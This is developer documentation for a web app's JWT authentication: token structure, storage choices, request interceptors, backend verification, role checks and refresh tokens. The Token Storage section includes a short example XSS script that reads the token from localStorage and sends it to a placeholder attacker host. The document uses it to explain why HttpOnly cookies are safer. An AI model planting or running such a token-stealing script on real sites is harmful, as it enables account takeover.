JWT Token Handling & Authorization
What is JWT?
JWT = JSON Web Token
A JWT is a compact, self-contained token format used for secure transmission of claims between parties. In StockEase, it's used to:
- Authenticate requests (prove user is logged in)
- Authorize requests (determine what user can access)
- Stateless authentication (server doesn't need to store session data)
JWT Structure
A JWT consists of 3 Base64-encoded parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiIsImV4cCI6MTczMjEzOTIwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
β Header β Payload β Signature
Part 1 Part 2 Part 3
Part 1: Header
What it is: Metadata about the token
Example (Base64 decoded):
{
"alg": "HS256",
"typ": "JWT"
}Explanation:
algβ Algorithm used to sign token (HS256 = HMAC-SHA256)typβ Token type (always JWT)
How to decode:
const header = token.split('.')[0]; // "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
const decoded = JSON.parse(atob(header));
// { alg: "HS256", typ: "JWT" }Part 2: Payload (Claims)
What it is: The actual data (claims) about the user
Example (Base64 decoded):
{
"user": "admin",
"role": "ROLE_ADMIN",
"email": "admin@stockease.com",
"iat": 1732052800,
"exp": 1732139200
}Standard Claims:
iatβ Issued At (when token was created, in Unix timestamp)expβ Expiration (when token expires, in Unix timestamp)
Custom Claims (StockEase):
userβ Usernameroleβ User role (ROLE_ADMIN, ROLE_USER)emailβ User email (optional)
How to decode:
const payload = token.split('.')[1]; // "eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9"
const decoded = JSON.parse(atob(payload));
// { user: "admin", role: "ROLE_ADMIN", iat: 1732052800, exp: 1732139200 }β οΈ Security Note:
- Payload is Base64 encoded (easily readable)
- NOT encrypted β anyone can see the claims
- Never put secrets in the payload
- Never put passwords in the payload
- Backend will validate the signature to ensure claims haven't been tampered with
Part 3: Signature
What it is: Proof that the token is legitimate and hasn't been altered
Generated by backend:
HMAC-SHA256(
base64(header) + "." + base64(payload),
secret_key
)
How it works:
- Backend combines header and payload
- Hashes them using HMAC-SHA256 algorithm
- Uses secret key (only backend knows)
- Result is the signature
Why it matters:
- Backend can verify token wasn't forged
- If hacker changes payload, signature becomes invalid
- If hacker tries to create fake token, they don't know secret key
Frontend doesn't verify signature:
- Frontend just decodes and reads claims
- Backend verifies signature on every request
- If signature invalid β 401 Unauthorized
Token Generation Flow
User submits login form
β
Backend checks database
ββ Find user by username
ββ Hash password, compare to stored hash
ββ If match β proceed
ββ If no match β return 401
β
Backend generates JWT:
ββ Create header: { alg: "HS256", typ: "JWT" }
ββ Create payload: { user: "admin", role: "ROLE_ADMIN", exp: now + 24h }
ββ Sign payload with secret key
ββ Base64 encode all parts
β
Backend returns token
β
Frontend stores in localStorage
β
Frontend attaches to every API request
Token Storage
Current Implementation (localStorage)
// After successful login
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
// Later, when making requests
const token = localStorage.getItem('token');
// token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'Advantages:
- β Easy to implement
- β Works across browser tabs
- β Survives page refresh
- β Survives app restart
Disadvantages:
- β Vulnerable to XSS attacks
- β Can be accessed by JavaScript
- β No automatic HttpOnly flag
XSS Attack Example:
// Malicious script injected in page
var token = localStorage.getItem('token');
fetch('https://hacker.com/steal?token=' + token);
// Hacker now has your token!Recommended Alternative (HttpOnly Cookies)
// Backend sets token in HttpOnly cookie
res.setHeader('Set-Cookie', [
'token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict'
]);
// Frontend cannot access token directly
var token = document.cookie; // Returns "" (empty)
// But token is automatically sent with every request
fetch('/api/products') // Cookie automatically includedAdvantages:
- β Not accessible to JavaScript
- β Mitigates XSS attacks
- β Automatic transmission with requests
- β Backend can set HttpOnly flag
Implementation requires:
- Backend support for cookies (CORS credentials)
- Frontend to send credentials with requests
// Frontend (if using cookies)
const apiClient = axios.create({
baseURL: API_URL,
withCredentials: true // β Include cookies
});Token Usage
Attaching Token to Requests
In API Client
(src/services/apiClient.ts):
apiClient.interceptors.request.use(
(config) => {
// Get token from localStorage
const token = localStorage.getItem('token');
// Add Authorization header
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
}
);Request with token:
GET /api/products HTTP/1.1
Host: api.stockease.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Verifying Token on Backend
Backend flow (pseudo-code):
# Endpoint: GET /api/products
def get_products(request):
# Extract token from Authorization header
auth_header = request.headers.get('Authorization')
# auth_header = "Bearer eyJhbGc..."
# Validate header format
if not auth_header or not auth_header.startswith('Bearer '):
return Response(status=401, message="Missing or invalid token")
# Extract token
token = auth_header.replace('Bearer ', '')
# Verify signature
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
# payload = { user: "admin", role: "ROLE_ADMIN", exp: 1732139200 }
except jwt.ExpiredSignatureError:
return Response(status=401, message="Token expired")
except jwt.InvalidSignatureError:
return Response(status=401, message="Invalid token")
# Check expiration
if payload['exp'] < current_timestamp():
return Response(status=401, message="Token expired")
# Token valid, proceed with request
user = payload['user']
role = payload['role']
# Check authorization (can user access this endpoint?)
if role != 'ROLE_ADMIN' and route_requires_admin():
return Response(status=403, message="Forbidden")
# Execute business logic
return get_user_products(user)Token Expiration
Checking if Token is Expired
Frontend (optional):
export const isTokenExpired = (): boolean => {
const token = localStorage.getItem('token');
if (!token) {
return true; // No token = expired
}
try {
// Decode payload
const payload = JSON.parse(atob(token.split('.')[1]));
// Get current time in seconds
const now = Math.floor(Date.now() / 1000);
// Compare expiration time
return payload.exp < now; // If exp is past, token is expired
} catch (error) {
return true; // Invalid token = expired
}
};Usage:
// Before making API request
if (isTokenExpired()) {
// Clear token and redirect to login
localStorage.removeItem('token');
navigate('/login');
} else {
// Token still valid, proceed
fetchProducts();
}What Happens When Token Expires
User is logged in with valid token
β
Token expires (24 hours pass)
β
User tries to fetch data
β
Frontend sends expired token in request
β
Backend checks signature and expiration
β
Backend: "Token is expired" β 401 Unauthorized
β
Response interceptor catches 401
β
localStorage.removeItem('token')
β
localStorage.removeItem('role')
β
navigate('/login')
β
User sees login page
β
User must re-authenticate
Token Lifetime Configuration
Backend controls token lifetime:
# Backend generates token
payload = {
'user': username,
'role': role,
'iat': datetime.utcnow(), # Now
'exp': datetime.utcnow() + timedelta(hours=24) # 24 hours from now
}Current default: 24 hours
Common durations:
- Short-lived (1 hour) β Maximum security, frequent re-logins
- Medium (4-8 hours) β Balance of security and UX
- Long-lived (24+ hours) β Better UX, lower security
- Very long (30+ days) β Remember me functionality (risky)
Authorization: Role-Based Access Control
Role System
StockEase uses role-based access control (RBAC):
Two roles:
- ROLE_ADMIN β Full access to all features
- ROLE_USER β Limited access
Token includes role:
{
"user": "admin",
"role": "ROLE_ADMIN"
}Frontend Authorization
Check role before rendering:
import { useAuth } from '@hooks/useAuth';
const AdminDashboard: React.FC = () => {
const { role } = useAuth();
if (role !== 'ROLE_ADMIN') {
return <ErrorBoundary error="You don't have permission to access this page" />;
}
return <div>Admin content...</div>;
};How useAuth works:
export const useAuth = () => {
const token = localStorage.getItem('token');
const role = localStorage.getItem('role');
return {
isAuthenticated: !!token,
role: role as UserRole,
username: localStorage.getItem('username')
};
};Backend Authorization
Backend checks role on every request:
# Endpoint that requires ROLE_ADMIN
@app.route('/api/admin/users', methods=['GET'])
def get_all_users():
# Extract token
token = request.headers.get('Authorization').replace('Bearer ', '')
# Decode token
payload = jwt.decode(token, SECRET_KEY)
role = payload['role']
# Check authorization
if role != 'ROLE_ADMIN':
return Response(status=403, message="Forbidden")
# User is authorized, proceed
return get_users()Authorization Errors
401 Unauthorized (authentication failed)
{
"status": 401,
"message": "Invalid or expired token"
}Caused by:
- Missing token
- Invalid token signature
- Expired token
- Malformed token
Response: User redirected to login page
403 Forbidden (authentication OK, but authorization failed)
{
"status": 403,
"message": "Insufficient privileges"
}Caused by:
- User is authenticated but doesn't have required role
- User trying to access admin endpoint but is regular user
Response: Show error page (don't show admin features)
Token Refresh (Recommended Future Enhancement)
Problem with Current Implementation
Current approach:
- Token lasts 24 hours
- No automatic refresh
- User must login again after 24 hours
- Poor user experience
Solution: Refresh Tokens
Implement two-token system:
- Access Token β Short-lived (15 minutes)
- Refresh Token β Long-lived (7 days)
Flow:
User logs in
β
Backend returns:
- Access token (15 min expiry)
- Refresh token (7 day expiry)
β
Frontend stores both tokens
β
User makes request with access token
β
After 15 minutes, access token expires
β
Frontend detects 401, uses refresh token to get new access token
β
Backend validates refresh token, returns new access token
β
User's session continues without re-login
β
After 7 days, refresh token expires
β
User must login again
Implementation example:
// Response interceptor
apiClient.interceptors.response.use(
(response) => response,
async (error) => {
const original = error.config;
// If 401 and not already retrying
if (error.response?.status === 401 && !original._retry) {
original._retry = true;
try {
// Try to refresh token
const response = await axios.post('/api/auth/refresh', {
refreshToken: localStorage.getItem('refreshToken')
});
// Store new access token
const { accessToken } = response.data;
localStorage.setItem('token', accessToken);
// Retry original request
original.headers.Authorization = `Bearer ${accessToken}`;
return apiClient(original);
} catch (err) {
// Refresh failed, logout
localStorage.clear();
window.location.href = '/login';
}
}
throw error;
}
);Security Best Practices
β DO:
- β Store token in localStorage or HttpOnly cookie
- β Send token via Authorization header
- β Use HTTPS (token encrypted in transit)
- β Implement token expiration
- β Implement token refresh
- β Clear token on logout
- β Never store sensitive data in payload
- β Validate token on every backend request
β DON'T:
- β Send token in URL query parameters
- β Send token in request body (unless necessary)
- β Use HTTP (unencrypted)
- β Store password in token
- β Use very long token lifetimes (24+ hours)
- β Rely only on frontend authorization checks
- β Log tokens in console/logs
- β Store token in sessionStorage (cleared on tab close)
Debugging JWT Tokens
View Token Contents
Online tool (for public inspection):
- Go to https://jwt.io
- Paste your token in the "Encoded" field
- See header, payload, and signature decoded
β οΈ Warning: Never paste production tokens on public websites!
Decode Token in Frontend
export const decodeToken = (token: string) => {
try {
const parts = token.split('.');
if (parts.length !== 3) {
throw new Error('Invalid token format');
}
const header = JSON.parse(atob(parts[0]));
const payload = JSON.parse(atob(parts[1]));
return { header, payload, signature: parts[2] };
} catch (error) {
console.error('Failed to decode token:', error);
return null;
}
};Usage:
const token = localStorage.getItem('token');
const decoded = decodeToken(token);
console.log('Token expires:', new Date(decoded.payload.exp * 1000));
console.log('User role:', decoded.payload.role);
console.log('Issued at:', new Date(decoded.payload.iat * 1000));Check Token in Browser DevTools
// Open browser console (F12)
// Type:
localStorage.getItem('token')
// Returns:
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9..."
// Copy and paste into jwt.io to decodeCommon Issues
Issue 1: Token Not Sent with Requests
Symptom: All requests return 401 Unauthorized
Causes:
- Token not stored in localStorage
- API client not configured to add Authorization header
Fix:
// Check localStorage
console.log(localStorage.getItem('token')); // Should not be null/empty
// Check API client has interceptor
// In apiClient.ts:
apiClient.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});Issue 2: Token Expired
Symptom: Works fine for 24 hours, then all requests fail with 401
Cause: Token has expired (normal behavior)
Fix:
// Option 1: Implement token refresh (see section above)
// Option 2: Reduce token lifetime in backend
// Change from 24 hours to 8 hours for testing
// Option 3: Clear token and re-login
localStorage.clear();
navigate('/login');Issue 3: XSS Attack (Token Stolen)
Symptom: Hacker accesses your account without logging in
Cause: Token stored in localStorage and stolen via XSS
Fix:
- Migrate to HttpOnly cookies
- Implement Content Security Policy (CSP)
- Sanitize user inputs (prevent injected scripts)
- Use secure libraries (avoid custom auth)
Related Files
- Login Page:
src/pages/LoginPage.tsx - Auth Service:
src/api/auth.ts - API Client:
src/services/apiClient.ts - Auth Hook:
src/hooks/useAuth.ts - Type Definitions:
src/types/User.ts
Last Updated: November 13, 2025
Status: Production-Ready